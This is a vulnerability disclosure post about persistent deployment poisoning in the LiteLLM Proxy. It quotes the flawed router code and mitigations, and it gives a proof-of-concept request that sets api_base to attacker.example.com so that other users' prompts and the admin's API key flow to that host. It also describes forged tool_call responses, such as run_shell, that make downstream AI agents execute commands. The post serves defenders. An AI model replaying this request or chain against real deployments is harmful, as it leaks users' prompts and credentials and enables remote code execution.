LiteLLM 0-Day: Persistent Deployment Poisoning
Today we’re going to dive into a 0-day vulnerability affecting LiteLLM Proxy (verified up to version 1.97.0), which allows Persistent Deployment Poisoning, Admin Key Exfiltration, and Remote Code Execution (RCE).
Why did we write this article?
Because 30 days have passed since our initial disclosure, and we have received absolutely no response from the LiteLLM team. In accordance with standard responsible disclosure practices, after a month of complete silence, we are releasing the details to the public so administrators can protect their deployments.
The potential impact involves Cross-user prompt exfiltration, Admin provider API key exfiltration, persistent router state corruption, and (via downstream tool-call execution) Remote Code Execution on victim clients. The vector for this is essentially CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L, granting it a 9.3 CRITICAL severity.
What is this 0-day?
It is a Persistent Deployment Poisoning vulnerability via api_base manipulation in the LiteLLM Proxy Server.
When the proxy is configured with general_settings.allow_client_side_credentials = true, any authenticated user (even with the lowest privileges, just requiring a valid proxy API key) can inject an attacker-controlled api_base into the body of a /v1/chat/completions request.
Due to a flaw in how the router handles these overrides, this payload doesn’t just affect the attacker’s request: it persists in the shared Router.model_list via upsert_deployment.
Root cause
The vulnerability is in Router._handle_clientside_credential and its interaction with upsert_deployment.
Router._handle_clientside_credential (litellm/router.py)
def _handle_clientside_credential(
self, deployment: dict, kwargs: dict, function_name: Optional[str] = None
) -> Deployment:
model_info = deployment.get("model_info", {}).copy()
litellm_params = deployment["litellm_params"].copy()
dynamic_litellm_params = get_dynamic_litellm_params(
litellm_params=litellm_params, request_kwargs=kwargs
)
# ... builds a new Deployment with attacker-controlled api_base ...
deployment_pydantic_obj = Deployment(
model_name=model_group,
litellm_params=LiteLLM_Params(**dynamic_litellm_params),
model_info=model_info,
)
self.upsert_deployment(deployment=deployment_pydantic_obj) # <-- PERSISTENT WRITE
return deployment_pydantic_obj
This is called from Router._update_kwargs_with_deployment:
if is_clientside_credential(request_kwargs=kwargs):
deployment_pydantic_obj = self._handle_clientside_credential(
deployment=deployment, kwargs=kwargs, function_name=function_name
)
is_clientside_credential (litellm/router_utils/clientside_credential_handler.py)
clientside_credential_keys = ["api_key", "api_base", "base_url"]
def is_clientside_credential(request_kwargs: dict) -> bool:
return any(key in request_kwargs for key in clientside_credential_keys)
Any single key (api_base alone is sufficient) triggers the entire path. There is no requirement that api_key accompany api_base.
get_dynamic_litellm_params (litellm/router_utils/clientside_credential_handler.py)
for key in clientside_credential_keys:
if key in request_kwargs:
litellm_params[key] = request_kwargs[key] # only api_base is overwritten
if "api_base" in request_kwargs or "base_url" in request_kwargs:
for field in _ADMIN_CONFIG_FIELDS_TO_CLEAR_ON_BASE_OVERRIDE:
litellm_params.pop(field, None)
if field in request_kwargs:
litellm_params[field] = request_kwargs[field]
The _ADMIN_CONFIG_FIELDS_TO_CLEAR_ON_BASE_OVERRIDE list clears provider-specific fields (organization, extra_body, vertex, aws, oci, etc.) but does not clear api_key (it is in clientside_credential_keys and only overwritten if present in request_kwargs). When the attacker sends only api_base, the api_key field retains the original deployment’s admin provider key.
Router.upsert_deployment (litellm/router.py)
def upsert_deployment(self, deployment: Deployment) -> Optional[Deployment]:
_deployment_on_router = self.get_deployment(model_id=_deployment_model_id)
if _deployment_on_router is not None:
... # update if changed
self.add_deployment(deployment=deployment) # <-- added to shared model_list
return deployment
The deployment is added to self.model_list, which is the shared router state used for all users. The model_id is a deterministic hash of model_group + litellm_params (via Router._generate_model_id), so the poisoned deployment gets a distinct ID and coexists with the legitimate one. Both are returned by routing strategies for the same model_group.
The vulnerability (POC)
An attacker simply sends a normal request, but includes their own api_base in the body:
POST /v1/chat/completions HTTP/2
Host: your-litellm-proxy.internal
Authorization: Bearer sk-litellm-[ATTACKER-LOW-PRIV-KEY]
Content-Type: application/json
{
"model": "gpt-4",
"messages": [{"role": "user", "content": "hello"}],
"api_base": "https://attacker.example.com/v1"
}
Here is what happens behind the scenes:
is_clientside_credentialreturnsTruebecauseapi_baseis present.get_dynamic_litellm_paramsoverwrites theapi_basebut keeps the admin’s originalapi_key(because the attacker didn’t supply one, andapi_keyisn’t in the clear-list for base overrides).upsert_deploymentis called. This is the flaw. The deployment is written into the shared, globalmodel_list.
Because this poisoned deployment shares the same model_group as the legitimate one, routing strategies (like round-robin) will eventually select it for other users’ requests for the same model. The attacker can then simply poison every model with the same technique.
When a victim (a different user) sends a standard chat completion request, the proxy routes it to the poisoned deployment. The proxy then sends the victim’s prompt directly to [https://attacker.example.com/v1](https://attacker.example.com/v1).
The RCE Chain
If the victim’s downstream client executes tool/function calls (agentic frameworks), the attacker’s server can simply return a malicious tool_call (e.g. run_shell({"cmd": "calc.exe"})). The victim’s agent framework will blindly execute it as a trusted LLM response, leading to RCE.
Suggested Mitigation
Since the vendor has not patched this yet, you must mitigate this yourself:
Set allow_client_side_credentials: false in your general_settings immediately. If you absolutely need client-side credentials, you must deploy a reverse proxy in front of LiteLLM that drops requests containing api_base unless they strictly originate from trusted administrative IPs. Another option is to comment out the deployment upsert.
Timeline
- 17 July 2026 - Github Security Advisory opened (https://github.com/BerriAI/litellm/security/advisories/GHSA-m8fp-3f3g-j5p7) with no response
- 27 July 2026 - Requested confirmation report was received with no response
- 31 July 2026 - Requested confirmation report was received again with no response
- 05 August 2026 - Private Message on discord with no response
- 14 August 2026 - Requested confirmation report was received a third time with no response
- 18 August 2026 - Full Public Disclosure and CVE Request

827 Words
2026-08-18 07:00